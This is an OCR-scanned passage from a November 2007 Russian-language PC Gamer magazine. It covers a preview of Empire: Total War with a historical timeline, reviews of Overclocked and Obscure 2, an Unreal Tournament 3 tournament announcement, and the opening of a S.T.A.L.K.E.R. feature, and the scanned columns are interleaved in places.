Томасом Джефферсоном акт об образовании 13 суверенных государств на территории Северной Америки и о независимости их от своей бывшей метрополии. 1777: СТАТЬИ КОНФЕДЕРАЦИИ Америка занимается проектированием своего дальнейшего существования в качестве независимого государства. Было решено присвоить молодому государству название Соединенные Штаты Америки и ограничить преро- гативы центральной власти. 1776: ИЗГНАНИЕ БРИТАНЦЕВ С ТЕРРИТОРИИ США Джордж Вашингтон, избранный главнокомандую- щим американскими вооруженными силами, при- нудил оккупировавших Бостон англичан покинуть территорию США. Теперь патриоты контролирова- ли практически всю территорию 13 независимых штатов. 1781: ОТКРЫТИЕ УРАНА Уильям Гершель наблюдал кольца урана через теле- скоп из окна своего дома в Бате и подал доклад о своих исследованиях в Грин- вичскую обсерваторию. стороны от судов противника и открыть огонь на поражение. В это трудно поверить, но более всего в морских сражениях Empire захватывает не возможность побывать опытным адмиралом и почувствовать вкус победы над врагом, а реалистичность воссозданной атмосферы. Ветер, развевающий паруса, рулевой, умело вращающий штурвал, спертый воздух на палубе при перезарядке пушек, жесткие схватки матросов — все это вы сможете увидеть и прочувствовать, благодаря высокому мастерству разработчиков. Однако специалисты знают, что качественно сделанные сражения будущей игры — это только половина дела. Этот фактор, взятый сам по себе, не является достаточным основанием ►
НАПОЛЕОНОВСКИМ КОРТЕЖ работорговлю следует блести игру, нс не стоит делать ее особой Чертой гейлшлел» для того, чтобы причислить игру к разряду высококлассных. Главное впереди: нужно ловко увязать разработанные сражения между собой в едином игровом целом — кампании. Каким же образом это будет сделано в Empire: Total War? Отвечая на этот вопрос, Майк невольно касается планов Creative Assembly в отношении дальнейшей судьбы серии Total War. Оказывается, на данном этапе компания одновременно работает над двумя проектами. Один из них — новый брэнд Total War, основанный на применении новых идей и технологий. Второй — базируется на первом, но обладает улучшенными настройками. К полному изменению фундамента построения игры Creative Assembly обращается уже в третий раз. Первый тип технологий был разработан для серий Shogun ё Medieval. Затем движок был изменен для создания Rome и Medieval II. Empire должна стать следующей ступенью эволюции Total War. Зачем же нужны такие кардинальные изменения? «Один и тот же движок может использоваться только для двух итераций, плюс дополнения. Дальнейшее его применение может давать сбои в программе. Разработка нового движка даст чистую кодовую базу для работы, что скажется на скорости и технике разрабатываемой игры», — объясняет Майк. В разговор вступает Джеймс: «Для старого движка было характерно разделение программ, которые отвечают за осуществление дипломатичных ходов и создание военных тактик в игре. Они разрабатывались различными программистами и, фактически, вступали в противоборство друг с другом. В результате, поведение игровых героев могло становиться непоследовательным: одна программа заставляла их, к примеру, вторгаться на вражескую территорию, в то время как другая — уверять, что в этом нет никакой необходимости, так как перемирие уже заключено. В новом движке этот межпрограммный конфликт значительно сглажен». Огромное удовольствие для фанатов серии доставят изменения в механизме передвижения армии. «В Риме и Средневековье карта кампании подразделялась на ячейки, — говорит Джеймз. — Каждая из них могла совмещаться только с одной армией. В Империи уже не будет системы тайлинга. Ее пространство заполнит ©iStockphoto.com/samoylova 1787: УТВЕРЖДЕНИЕ КОНСТИТУЦИИ СОЕДИНЕННЫХ ШТАТОВ В коммерческих интересах была изменена структура органов управления США, принятая Статьями Конфедерации. Утвержденная в 1787 году Конституция США предписывает разделение власти на законодательную, исполнительную, федеральную и судебную. 1789 (-1799): ФРАНЦУЗСКАЯ РЕВОЛЮЦИЯ Трения между представителями дворянства и буржуазии во Франции в конце концов закончились упразднением Генеральных Штатов. Восставшие народные массы произвели штурм Бастилии, и это послужило отправной точкой начала революции. 1792: ОСНОВАНИЕ НЬЮ-ЙОРКСКОЙ ФОНДОВОЙ БИРЖИ На том месте, где сейчас расположен дом № 68 на Уолл-Стрит, 24 брокера подписали «Платановое соглашение», которое дало жизнь крупнейшей на сегодняшний день Нью- Йоркской фондовой и биржевой палате. 1783: ВЕРСАЛЬСКИЙ МИРНЫЙ ДОГОВОР Версальский мирный договор положил конец Войне за независимость в США. Согласно этому договору, Великобритания признавала независимость своих бывших 13 колоний и соглашалась вступить в переговоры с США по поводу возвращения военнопленных. 52 GAMER Ноябрь 2007 1789: ДЖОРДЖ ВАШИНГТОН СТАЛ ПЕРВЫМ ПРЕЗИДЕНТОМ США Вступив в должность президента США, Джордж Вашингтон предпринимает серьезные шаги по укреплению государства, обращая особое внимание на укрепление авторитета центрального правительства и соблюдение нейтралитета во внешней политике США.
свободная форма». Кроме того, радует, что разработчики, наконец, решились вывести враждующие армии за пределы городских стен и устранить явное доминирование осад, характеризующее предыдущие серии. Кто же будет выступать в игре в качестве противоборствующих сторон? До окончания работы над кампанией представители Creative Assembly решили не раскрывать фракций, которые примут участие в ней. Но исторические события XVIII века позволяют нам самостоятельно выявить наиболее явных претендентов на эти роли. Прежде всего, это Великобритания, которая сфокусирует все свои силы на защиту уже имеющихся в ее распоряжении значительных владений, и Франция, располагающая на тот момент значительными землями в Канаде, Луизиане и современном Синегале. Возможно, к ним присоединятся Германия, существенно ослабленная 30-летней войной, но, тем не менее, еще не растерявшая порох в пороховницах, и Оттоманская империя, которая, хотя и начала приходить в упадок в XVIII столетии, но все же еще сохраняла контроль над большею частью Юго- Восточной Европы и Северной Африки. И, наконец, иллюстрируя события этого исторического периода, конечно же, нельзя обойтись без такой яркой персоны, как Новая Англия. В XVIII веке в мире активно процветала работорговля. Будет ли эта проблема затронута в игре? Майк уверенно заявляет: «Рабство — это темное пятно в мировой истории. Но, умалчивая об этих событиях, мы все равно не сможем ничего изменить. Поэтому работорговлю следует ввести в игру, но не стоит делать ее особой чертой геймплея». Далее Майк пояснил, что игроки смогут наблюдать картины торговли людьми, но не будут иметь возможность активно вовлекаться в нее (возможно, некоторые игроки будут не совсем довольны этим). Многие удивляются: «Чего же такого примечательного случилось в XVIII столетии, что потребовалось посвятить этому периоду целую игру?» А первые демократические революции, а колониальные и коммерческие войны, а повсеместная индустриализация? Разве этого недостаточно? Империя — поистине необычный период в истории, и мы ни на минуту не сомневаемся в том, что Creative Assembly сделала правильный выбор! ТИМ ЭДВАРДЗ 1793 (-1794): ПОД ВЛАСТЬЮ ТЕРРОРА За победоносным окончанием революционных действий во Франции последовала полоса политической и религиозной реакции. Жертвы совершенных в этот период репрессий насчитывают более 20 000 человек. 1800: ИЗОБРЕТЕНИЕ ЭЛЕКТРИЧЕСКОЙ БАТАРЕИ Неудовлетворение достижениями электротехники в XVIII веке побуждает Алессандро Вольта к созданию первой электрической батареи. 1798: БИТВА НА НИЛЕ Захвату Египта Наполеоном Бонапартом пытался воспрепятствовать Британский военно-морской флот, возглавляемый адмиралом Нельсоном. Но безуспешно - французскому генералу удается поработить Египет и большую часть Сирии. 1802: АМЬЕНСКИЙ МИРНЫЙ ДОГОВОР В 1802 году между Францией и Великобританией был заключен договор, одним из условий которого было признание Великобританией Французской республики. Однако обещания государств жить в мире, братстве и / | взаимопонимании действовали не больше года. | / ------------------------------------- 1807: ОТМЕНА РАБОТОРГОВЛИ В ВЕЛИКОБРИТАНИИ Акт об отмене работорговли, принятый британским парламентом, наложил строгий запрет на процесс купли-продажи человека гражданами Великобритании. Штраф в размере £100 возлагался на капитана судна за каждого перевозимого им раба. 54 -GAMER Ноябрь 2007
Глаголим истину OVERCLOCKED Пожалуйста, не сходите с ума Не секрет, что игро- вой стиль Adventure снова набирает обо- роты и постепенно заполняет топ-рейтинги игро- вых хит-парадов. Но все-таки наступают времена перемен и революций даже для этого жанра. Игра Overclocked — одна из многих типичных Advetrure, но с очень ориги- нальной идеей. У Давида МакНамары, пси- холога по профессии, выполня- ющего исключительно заказы правительства, в один момент в жизни возникли огромные неурядицы. Регулярные про- блемы с женой, неудачи в про- фессиональной сфере, да еще и этот «новый» случай, напол- ненный тайнами и загадками. В одной из островных кли- ник, которая вот-вот закроет- ся, находятся пять пациентов. Их привезли одного за другим с типичными симптомами. Это довольно подозрительное и мистическое заболевание. Молодые люди в возрасте от 18 до 21 года не желают вести никаких бесед, не подпускают к себе медицин- ский персонал, а на любые по- пытки провести обследование реагируют сверхагрессивно. Видно невооруженным гла- зом, что у них явное расстрой- Игра Overclocked — □дна из многих типичных Advetrure, но все же с очень оригинальной идеей ство психики. Но в чем же действительно дело и как эту болезнь лечить? Можно ли эту проблему решить в одиночку, или нужно прибегнуть к чьей- то помощи? Главному герою Давиду помощи ждать неоткуда, так как кроме уны- лого детектива, страдающего из-за своих последних по- хождений, да чопорной мед- сестры, рядом никого нет. Overclocked на- полнена атмосферой полного одиночества главного героя, которая сгущается и навевает тоску. Это является большим плюсом для разработчиков, сумевших создать некое пси- хооблако и втянуть игрока в игру не только физически, но и душевно. История игры раз- ворачивается вокруг пятерых пациентов и личной жизни главного героя. Лечебные методы Давида базируются на гипнозе и пси- хологическом воздействии на пациента (этакий Каш- пировский). Для успешного проведения сеанса, больного требуется погрузить в летар- гическое состояние. При этом изюминка в том, что клиенты должны вспоминать именно те ситуации, в которых они в последний раз принимали ак- тивное участие. Впоследствии Ноябрь 2007 PCGAMER 55
Глаголим истину врач старается отодвигать память пациента все больше и больше назад, плавно про- бираясь к нужному месту. Исходя из того, что все пять охраняет злобная медсестра. Ваша цель — перехитрить ее и создать нормальные условия для продолжения работы с пациентом. Это сложная, но слишком явными, что по- зволяет иногда чересчур бы- стро реагировать в довольно сложных ситуациях. Эта кри- тическая нотка уже неодно- рые недоработки. Например, бросается в глаза, что главный герой практически не морга- ет глазами. На фоне общего, довольно живого фона, этот пациентов давно знают друг друга, а их воспоминания в подавляющем большинстве случаев одинаковые, в игре вырисовывается несколько ба- нальная, но все же вполне за- гадочная история. Отмечу, что банальность тут заключается в том, что каждая игра стиля Adventure хоть и частично, но все же напоминает сюжет какой-нибудь индийской мелодрамы. В нашем случае также не обошлось без траге- дии — семейная проблема и угнетающее одиночество глав- ного персонажа. Итак, с помощью ключевых слов и действий, Давид ищет ключик к разгадке тайны бо- лезней пятерки. Похоже на то, что один из пациентов, перед тем как заболеть, прослуши- вал по радио свою любимую передачу. Конечно же, момен- тально нужно включить радио и найти эту «волну», что пред- ставляет собой любопытную и необычную загадку для игрока. В другом случае, на- пример, с помощью фонарика нужно создать определенную световую и теневую гамму, достигнуть чего можно с по- мощью полного отключения света в здании больницы. Да вот беда: рубильник надежно перенасыщая действиями или предметами, или же наоборот, вырезая все нужное и яркое. В Overclocked на первый взгляд все выглядит очень солидно. вполне выполнимая задача, справиться с которой может без проблем даже самый зако- ренелый новичок. Уже в начале игры заметно, что разработчики постара- лись, причем вполне успешно, создавая некую нетрадици- онную атмосферу игрового мира, в которой главная роль отведена не только Давиду, но и каждому из его пациентов в отдельности. Хитом же, бесспорно, являются сцены «воспоминаний», в которых вам отводится роль пациен- та. Некоторые недостатки дизайна за- гадок и вечные заторы при- ключенческого жанра (почему, когда и как Эти самые «подсказки» являются слишком явными нужно использовать именно этот предмет) сглаживаются с помощью «возвращения воспоминаний». Именно эти воспоминания, приходящие в самый нужный момент игры, будут являться для вас самой большой подсказкой либо объяснением к последу- ющим действиям. Возможно, эти са- мые «подсказки» являются порой кратно звучала из уст поклонников жанра и, воз- можно, заставит разработчи- ков игры, фирму House of Tales, в срочном порядке немного усложнить ту или иную игро- вую ситуацию. Также быстро вы обучитесь и игровой смекалке. Посколь- ку воспоминания приходят вспять, вам неоднократно придется концентрировать свое внимание на том, чтобы заметить тот или иной пред- мет обихода, который исполь- зовал ваш пациент. Презента- ция выглядит также вполне симпатично и наводит на мысль, что игра готова и вполне продумана. Уже в самом начале игры напря- женная обстановка довольно впечатляюще действует на игрока, заставляя полностью погрузиться в виртуальный мир. Задний план здесь выгля- дит действительно захваты- вающе, а мимика персонажей зачастую очень близка к реальности (за исклю- чением нескольких сюжетов). Конечно же, есть и некото- недостаток, к сожалению, вы- зывает чувство нереальности. Великолепно поставлены сцены так называемого «зри- тельного перехода». Напри- мер, когда Давид приближа- ется к смотровому «глазку» в двери или стене, чтобы проследить за действиями и поведением своих пациентов, камера переходит в трехмер- ный режим и отображает ком- нату так, как бы она выглядела глазами главного героя. Иден- тичную картину мы наблюда- ем и в том случае, когда Давид напрямую работает с боль- ным. В правой части нашего экрана мы видим сидящего возле пациента врача, причем картинка эта несколько зату- манена (чтобы не отвлекать от происходящих событий), а в левой части текут воспомина- ния больного — четко, ярко, просто и красиво. Прорисовку, равно как и синхронизацию игры, можно оценить на твердую четверку. Естественно, каждую игру по возможности украшают, как новогоднюю елку, порой 56 PCGAMER Ноябрь 2007
И все же, следует упомянуть, что разработчики Ankh и Jack Keane (о которых я писал в предыдущем номере) гораздо успешнее справились с этой задачей. Да, конечно, ярые противники Ankh скажут, что эта игра, хотя и прекрасно укомплектована, все же явля- ется явно недоработанной и чересчур короткой, да и пи- склявое звуковое сопровожде- ние не особо впечатляет. Но, как говорится, сколько людей, столько и мнений, а я все равно останусь при своем. Но вер- немся к Overclocked. Звуковое оснащение игры неплохое, но все же нуждается в улучшени- ях. Так, например, диалоги в некоторых местах происходят слишком быстро, в других же, наоборот, слишком медленно и затянуто. Вполне возможно, что ситуации, в которых требу- ется более четкое объяснение происходящих событий или предстоящих сложных шарад, не мешало бы снабдить не- сколько монотонным, но до- ходчивым объяснением. Но в нашем случае мы имеем дело все-таки с небольшим браком House of Tales. Остается также надеяться, что разработчики все-таки дадут Давиду шанс на передышку. Ведь общаясь с пациентами, диалог его бежит, как говорится, на одном ды- хании. Это вынуждает игрока слишком напрягать слух и вни- мание, чтобы вникнуть в суть. И если это напряжение затя- нется, возможно, недовольный игрок и сам впадет в состояние невроза и станет агрессивно реагировать на происходящее вокруг, прямо как пациенты старенькой больницы остров- ного государства. Являясь одновременно игроком и критиком этого проекта, я предложил бы разработчикам несколько видоизменить определенные сцены. Парочка диалогов вы- глядит явно мутновато, от- кровенно бессмысленно и бес- толково, равно как и мимика (изредка) напоминает цирко- вую клоунаду, а не серьезные действия. Пять-шесть загадок нуждаются в более детальном объяснении — уж совсем не понятно, что же на самом деле от нас требуется. Остальные же загадки наоборот, после слишком доходчивых объяс- нений, становятся простыми, доступными и легкими. Безусловно, радует то, что каждую, даже самую корот- кую сцену ненужных разгово- ров мы сможем «пролистать», а в случае надобности всегда просмотреть заново. И еще: очень впечатляет сцена «вос- поминаний». Это не просто новинка в жанре, это самый настоящий шедевр, за что я, как любитель этого прекрас- ного стиля, премного благо- дарен разработчикам игры. Остается добавить только одну фразу и обратиться ко всем создателям Adventure: берите пример с Overclocked'. Именно так: ненавязчиво, ин- тересно и заманчиво должна выглядеть игра. А нюансы всегда можно подправить, «за- штукатурить», а в худшем слу- чае, вообще заменить. Поверь- те мне, это не так и трудно. Мнение игрока: «Несмотря на пристрастие к жанру Adventure, я всегда находил мелочи, к которым можно было бы придраться. Да, в душе я перфекционист и считаю, что любой про- дукт, за который следует расставаться не с виртуаль- ными, а наличными деньга- ми, должен, как минимум, отвечать стандартам «знака качества». Так, например, я был страшно огорчен концовкой игры Runaway 2, причем вплоть до того, что практически пообещал себе больше не садиться за Adventure. И, тем не менее, поиграв в «бету» Overclocked (релиз игры запланирован на 12.10.2007), я остался очень доволен игрой. Идея всплывающих воспоминаний выглядит слишком хорошо, и если «релиз» будет хотя бы процентов на 80 похожим на «бету», то вскоре перед нами ляжет самый настоящий ше- девр жанра с великолепной идеей, прекрасной разработ- кой и мастерским исполне- нием. Я с нетерпением жду этого торжественного момен- та, когда смогу погрузиться в мир Давида и его забот». КРАТКАЯ ИНФОРМАЦИЯ Жанр: Adventure Разработчик: House of Tales Издатель: Lighthouse Interactive Статус: в разработке, запланирована на I квартал 2008 года Оценка журнала 94% DOST > IHTEPHET Р1ТЕЙЛЕР Ноутбуки, КПК, смартфони 03067, м. КиГв, вул. Виборэька,49 а (0441 453-13-05,453-13-06 www.DOiT.ua rrzi— Тел.: (044)587-6708,455-5413 www.gelezka.kiev.ua КОМПЬЮТЕРЫ ДЛЯ ДОМА Г*Н1И НРМПЮТЕР вуп.Гагар1на 4 шел./факс (оза-г) 704-77S Товары для энтузиастов и геймеров в Хмельницком Thermaltake корпуса и модинг ZBOARD клавиатуры Chieftec корпуса и бп Razer мышки 2а1таПрхлаждение и модинг STEELPAD GEIL память проффесиональные коврики KOSS наушники X-RAY коврики МИН Ноябрь 2007 GAMER 57
Глаголим истину Obscure 2 Топтание на месте Сделать хороший компьютерный ужастик — задача непростая. Надо усиленно поработать со звуком, покорпеть над картин- кой, отрежиссировать грамотно сцены и еще много других параметров вывести на уровень не ниже определенной отметки. Полностью выпадает одно звено — и рушатся остальные кубики пирамиды, после чего целостный игровой проект можно считать загубленным. Ибо страх начинает передаваться через экран мони- тора только при четком соблюдении всех канонов жанра. Меняться они не могут — нервные клетки и рефлексы у человека одни и те же. Первая часть Obscure (в Америке из- вестна как Mortifilia) 2005-го года вы- пуска от французской студии Hydravision выдавала себя за представителя honor- adventure. И если ко второй части этого двойного определения жанра претензий не имелось (увлекательное приключение с неизбитым сюжетом), то, в качестве при- спешницы horror-направления, игра ока- залась несостоятельной. Виной тому — отсутствие необходимых для ужастика дизайнерских решений, все просто и слишком предсказуемо. Прошло два года. И вот перед нами сиквел с незатейливым названием Obscure 2 тех же разработчиков. Игра вы- шла без помпы: не припомнятся ни ре- клама, ни показы, ни скандалы в прессе. По задумке разработчиков продолжение должно было стать отдушиной для люби- телей первой части. Отдушиной и стало. Жизнь в виртуальном пространстве те- чет с той же скоростью, что и в реальном мире. Hydravision, кажется, следует имен- но этому принципу. Потому и переносит игрока, установившего Obscure 2 на жест- ком диске, на два года вперед — ровно на- столько, сколько прошло с момента выхо- да первой части. В ней, напомню, мы вме- сте с группой школьников-подростков пережили все напасти, которые выпали на долю их невезучей школы, попутно спасли человечество и по-дружески рас- стались после финальных титров. Старых знакомых нужно навещать, благо появил- ся повод. Наши мальчики и девочки из школы Leafmore High повзрослели и поступили в самое настоящее высшее учебное заведение — Fallcreek Univercity. Пожалуй, самое время немного погостить у них в общежитии. «Отрываются» там наши новоиспе- ченные студенты во всю мощь: пьянки- гулянки случаются едва ли не каждый день. О том, что совсем недавно они раз- носили в пух и прах собственную школу и уничтожали своих учителей пачками, уже никто и не помнит. Все ужасы в про- шлом? Но не тут-то было! На территории кампуса обитают необычные растения. Отвар, приготовленный из них, приво- дит к таким галлюцинациям, что давние школьные разборки с монстрами пока- 58 GAMER Ноябрь 2007
жутся безобидными забавами. Неудачни- кам снова предстоит столкнуться со злом, ведь у главных героев с изучением наук не ладится совсем. Видимо, судьба такая. История выглядит свежей и аппетит- ной. Как ни странно, разработчики до сих пор отказываются воспринимать подростковый хоррор как благодатную почву для создания компьютерных раз- влечений. Загадка, иначе и не скажешь. Как бы то ни было, сценаристы Obscure 2 выжали максимум из минимума ресур- сов. Раскрывается мир игры при помощи диалогов и множества сопутствующих материалов, разбросанных по уровням. Это и заметки на досках объявлений, и записки на помятых листочках, и раз- говоры с нейтральными персонажами. Вышеперечисленного добра встретится столько, что невыясненных и недоска- занных моментов к концу истории уже не осунется. Завершенность чувствуется, и, что радует еще больше, раскрываю- щая сюжет информация зачастую несет и пор- цию здорового юмора. Игра от этого только выигрывает. Принципы игры остались не- тронутыми, они и спустя два года бой момент можно управлять персонажа- ми — одного нажатия чудо-кнопки «ТаЬ» будет достаточно для смены героя. Вторая уникальная особенность Obscure также перекочевала в сиквел в первозданном виде. Речь идет о всепогло- щающем свете. Не удивлюсь, если девело- перы работали когда-то электриками: уж очень им нравится, когда тьма отступает под воздействием любого источника света, будь то солнце, луна или ручной электрический фонарь из разряда «сама делала». А так как всяким монстрам сам бог велел на свет не выходить, то любой лучик для адских существ станет губительным. Так и хочется произнести придуманный лозунг: «Даешь электрифи- кацию всей страны — долой нечисть за пределы Родины!» На вышеупомянутых двух китах как базировался геймплей Obscure, так и продолжает это с успехом делать. В них, как и во всем остальном, любители первой части ничего принципиально нового не найдут. Небольшие отличия все-таки имеются. Героев теперь не пять, а девять, включая настоящего профессора биологии. При этом, структура прохождения сохранилась: в зависимости от студенческой компании, в то время как двое (не больше) активных, подвластных игроку персонажа совершают вылазки с целью выполнить следующее задание. Выбирать парочку счастливчиков часто вы будете сами, правда, стоит огово- риться. Свобода мнимая: выбор в любом случае навязывается схемой уровня и головоломками на нем, которые, практи- чески все без исключения, решаются при помощи индивидуальных умений героев. Увеличение количества персонажей — не пустая формальность. Разнообразие про- хождения увеличилось в несколько раз, ибо, волею гейм-дизайнера, на одного тинейджера приходится один уникаль- ный навык. Как бы разработчики ни определяли жанр, это, в первую очередь, все-таки adventure. Настоя щего хоррора как не было, так и нет. Головоломки везде и самые разные: от простых (подвинуть, подставить, собрать) до более-менее сложных, которые требуют хотя бы не- много смекалки (например, мини-игра у Мей во время взлома систем). К сожа- лению, разработчики снова не исполь- зовали весь потенциал такой «классной» идеи, как одновременная игра за двух ге- роев. Нестандартные задачи, в которых требовалось бы участие обеих студентов могут считаться оригинальны- ми. Вид от третьего лица, классическая стрельба и перемещение, решение логических задач и одновременно два активных персо- нажа. Obscure 2 по- прежнему не стесня- ется парочки игроков перед монитором, но одному из них ставит обязательное условие: наличие геймпада в ру- ках. При его соблюдении проходить игру можно в кооперативном режиме, по одному персонажу на брата. А вот, если брата нет — на по- мощь приходит AI. Причем в лю- сюжета на разных уровнях у нас есть эдакие точки сбора, в которых проводит вре- мя большинство членов сразу, встречаются на нашем пути крайне редко. Между тем, главная брешь в боях Obscure исправлена не была. Ка- меру, которая так хамски себя вела, усмирить и перевоспитать не уда- лось. Теперь мы хоть как-нибудь можем на нее повлиять, но пресловутого
Глаголим истину ...и очутился среди мертвецов. I am here. Junl Junl КРАТКАЯ ИНФОРМАЦИЯ Action/3D/3rd Person Hydravision Playlogic Entertainment фирма «1С» . Оценка журнала % «как-нибудь» явно не хватает в секунды жарких сражений. Вместо действительно необходимых изменений разработчики зачем-то модифицировали систему со- хранений, а точнее — процедуру. Теперь она ближе к тематике: чтобы сохранить- ся, нужно дотронуться до мрачного вида цветка — герои заснут и можно смело записываться. О мертвых, как известно, говорят либо хорошо, либо ничего. Именно поэтому . О графике Obscure 2 говорить не стоит — она мертва. Пало, что выглядело слабо два года назад, сейчас смотреть даже с напускным удовольствием тяжело. По- мочь можно только самовнушением, что проект вышел в году эдак 2002-ом. Однако раздражение при виде внеш- него оформления снимается, когда мы слышим настоящие шедевр — музыку композитора Оливье Деривье. Заглавная тема захватывает до<акой степени, что легко даже почувствовать, как тебя обво- лакивает туман тайныймрака и неизвест- ности. Единсгвенная.^таль в игре, до- стойная лучшей хоррор-игры всех времен и народов. Долгих итоговых размышлений не будет. Вердикт однозначный: Obscure 2 интересна только поклонникам первой части. И тем, кто способен на безрыбье принять рака за настоящую рыбу: фанаты хоррора могут попробовать ввиду отсут- ствия аналогов. По большому счету,— та же самая Obscure, в‘каких-то момётГтйх сиквел смотрится чуть лучше, а гдЕ-то немного хуже. Все основное осталосгуга. месте почти в нетронутом виде. То/цж<у дети теперь стали старше... На два го^Я. АЛЕКСЕЙ ОКСАНОЧКИН АНОНС Граждане геймеры, знайте: На протяжении уже нескольких месяцев в обстановке строжайшей секретности компании Epic Games, Midway И ND Games готовят беспрецедентное событие — первый в России И мире открытый чемпионат По Unreal Tournament 3! роизойдет это кровавое безобразие в канун вы- хода третьей части культового сетевого шутера, на мероприятии, известном под названием «Игромир 2007» (2-4 ноября). Соревнования будут проходить в двух «весовых категориях». В первой представлены про- фессиональные киберспортсмены, которые разделят между собой призовой фонд, составляющий более $10 000. А лю- бители в течение всех трех дней чемпионата будут бороться за мощные игровые компьютеры и навороченное железо. Участниками тайного сговора стали: • Официальные спонсоры турнира — сети гипермаркетов электроники “Эльдорадо" и “ЭТО”, а также компания Cisco Systems Медиапартнер — украинский журнал PC Gamer «К-системс» — технический спонсор чемпионата, предо- ставляющий супермощные компьютеры Ирбис NVIDIA — партнер состязаний профессиональных кибе- ратлетов Stream — партнер мероприятия И еще... Только тс-с-с! Никому! Проверять, как обстоят дела в России с ипгеаГом и с киберсостязаниями приедет cafe, глава «эпиков» Майк Кэппс. Так что все, начищаем сапо- ги и утюжим галстуки! Киберспортсмены и просто любители сетевых баталий могут отныне спать и видеть розовые, а точнее, кроваво- красные сны — Unreal Tournament возвращается! Об игровой графике вообще нужно говорить отдельно. Сде- ланный с учетом грядущего технического прогресса, движок Unreal Engine 3 вызывает восхищение у разработчиков всего мира — уже сейчас несколько десятков крупнейших компаний приобрели права на использование его в своих играх. Судя по всему, Unreal Tournament 3 обещает стать если не флагма- - ном, то одним из лидеров Next-Gen движения. Игроков ждет шквал инноваций, которые, сохраняя лучшее из предыдущих частей, должны значительно разнообразить геймплей. Каждая из сторон конфликта обзаведется своей соб- ственной тяжелой техникой, которая будет серьезно отличаться как внешне, так и функционально. Серьезное нововведение — Hoverboard. Это что-то вроде скейтборда, но без колес, кото- рый парит в воздухе и используется для быстрого перемеще- ния на место сражения. Одиночный режим будет, причем действительно полно- ценный. Главный герой игры — бывший шахтер горнодобы- вающей колонии Твин Соулз по прозвищу Рипер. Во время массированной атаки инопланетных сил он теряет свою мать и друзей. Единственный человек, судьба которого небезраз- лична Риперу, — его сестра. Защитить девушку, а заодно и отомстить захватчикам — цель жизни бывшего шахтера... 6о /GAMER Ноябрь 2007
Stalker сделал Зону открытой и созвучной времени В бывшем Советском Союзе способность людей загрязнять окружающую среду достигла фантастических масштабов. Экология почти всех бывших союзных республик оказалась в катастрофическом состоянии. Но проклятая земля, которую мы получили в наследство от этого «раз- брода и шатания», сделала возможным создание одной из наиболее интересных игр этого года. S.T.A.L.K.E.R. — игра, которой мы так наслаждаемся, и которой так гордятся ее разработчики, украинская компания GSC Gameworld. Тема игры достаточно мрачная, она просачивается сквозь все покровы разнообразных государственных тайн. В ее основе — Зона отчужде- ния. Еще: в 1908 году над Сибирью, в районе реки Тунгуски, про- изошел взрыв, мощность которого была равна 1 000 ядерным бомбам. До сих пор никто не знает, что это было, но от этого взрыва сгорело 80 миллионов деревьев в радиусе 2 000 квадратных километров. Это «чудо» назвали «Тунгусский метео- рит». Затем, в 1957-м прогремел взрыв на ядерном перерабатывающем заводе «Маяк» около Челябинска. Радиоактивная туча накрыла сотни квадратных километ- ров. Обширные просторы русской земли стали непригодными для жизни и совсем не привлекательными для туристов. А в 1986-м грянул Чернобыль, и те- перь в зоне радиационного загрязнения оказалась вся Европа. Советский Союз так мечтал превзойти Запад, но стреми- тельное промышленное развитие оста- вило за бортом главное — безопасность человека и окружающей среды. Фабрики, химические заводы и энергетические станции «отдавали» свои отходы земле. Из 30-километровой зоны вокруг ЧАЭС были принудительно выселены примерно 30 000 людей. В 1971 году русские фантасты, братья Аркадий и Борис Стругацкие, написа- ли фантастический роман — «Пикник на обочине». Это было похоже на пред- упреждение, словно великие писатели предвидели катастрофу. Все бы хорошо, но быль стала явью 26 апреля 1986 года. В 1979 году выходит фильм Андрея Тарковского «Сталкер». Этот шедевр русского кинематографа создан по мотивам книги Стругацких и рассказывает о судьбе не- коего «философа» (имя которому Редрик Шухарт). Он зарабатывает на жизнь, провожая туристов в запретную зону, где находится комната с золотым шаром (ма- шиной желаний), в которой все желания сбываются. Зона Тарковского произошла из чего-то необъяснимого, но картина та- кова, что становится ясно — человек явно имеет к этому отношение. Кажется, что фильм пророчит трагедию Чернобыля... может быть, так оно и есть. В 2007-м появился S.T.A.L.K.E.R.: The Shadow of Chernobyl. Эта игра сделала Зону открытой, современной и ин- терактивной. В ней факт украинской катастрофы сливается с реальностью фильма «Сталкер» и романа «Пикник на обочине», которые воплотились в игре в единое целое с непередаваемой точно- стью. И пока несколько туристов ищут (и, может быть, находят) привидения в реальной Чернобыльской зоне, десятки тысяч из нас исследуют связь факта и вы- думки в видеоигре, созданной людьми, для которых Зона — реальность, причем практически в двух шагах. И если Томас Эдисон был прав, что гениальность на 99% состоит из пота, тем более ценным становится один процент прозрения. Ибо из фрагмента видения, из факта и литературной выдумки по- лучилась S.T.A.L.K.E.R.: The Shadow of Chernobyl. Наше исследование зоны во- круг взорвавшегося реактора не могло быть возможным без уникального набора обстоятельств и личных знакомств. ОСКОЛКИ СОВЕТСКОЙ ИМПЕРИИ Впрочем, история S.T.A.L.K.E.R. начи- нается не с Чернобыля, а с другого куска украинской истории — военных походов вольного народа — казаков. GSC образо- валась в Киеве в 1995 году из группы гей- меров. Их карьера началась после созда- ния собственной исторической стратегии: Cossars: European Wars. На сегодняшний день продано около четырех миллионов копий этой игры. Это и стало пропуском для GSC на мировую бизнес-арену. Исторически не совсем точная (или даже стратегически точная) игра ста- ла популярной среди игроков Европы. Образ жизни воинствующих казацких армий во времена Ватерлоо был удачно использован GSC. Этот успех стал для GSC прецедентом того, как компания ► 62 Р GAMER Сентябрь 2007

S.T.A.L.K.E.R. ► может использовать собственные исторические и культурные материалы. Теперь команда точно знала, как исполь- зовать украинскую историю. Нужно было только научиться соединять эти идеи в доступном игровом проекте. Некоторые «пробы нера» даже стали очень популяр- ными. Антон Большаков — старший разра- ботчик в GSC — член команды, которая и воплотила 5. Г.A.L.K.E.R. в жизнь. Он-то и рассказал о том. что послужило толч- ком к созданию игры. В 2002 году, когда были выпущены «Казаки», Большаков и его партнеры на- чинают вынашивать идею, основанную на научной фантастике. Они называют ее «Потерянное Забвение», первая ла- сточка в небе далеко идущих планов. «Игра должна быть лучшей... во всем», — говорит’он. И вспоминает!. «Главная наша цель — создание мощной машины с реалистичной графикой, развитие ных отражает весь ужас проис- шедшего. Судьба подопыт- новаторских идей и внедрение собствен- ных инноваций в жанр...» Их проект первоначально базировался на самой успешной игре жанра Action, в которую играли все. «В 2002 году первоначальный замысел был ориентирован на 15 линей- ных уровней, так же, как в классических приключенческих играх. — Объясняет Большаков. — Это как аномальный Half-Life, если хотите. Но в конце года наш концепт кардинально изменился, и Чернобыль стал центром игры. Мы решили оживить огромный мир террито- рии вокруг реактора». Команда начала наносить на карту ре- альную Зону, которая находилась в пяти минутах езды от их 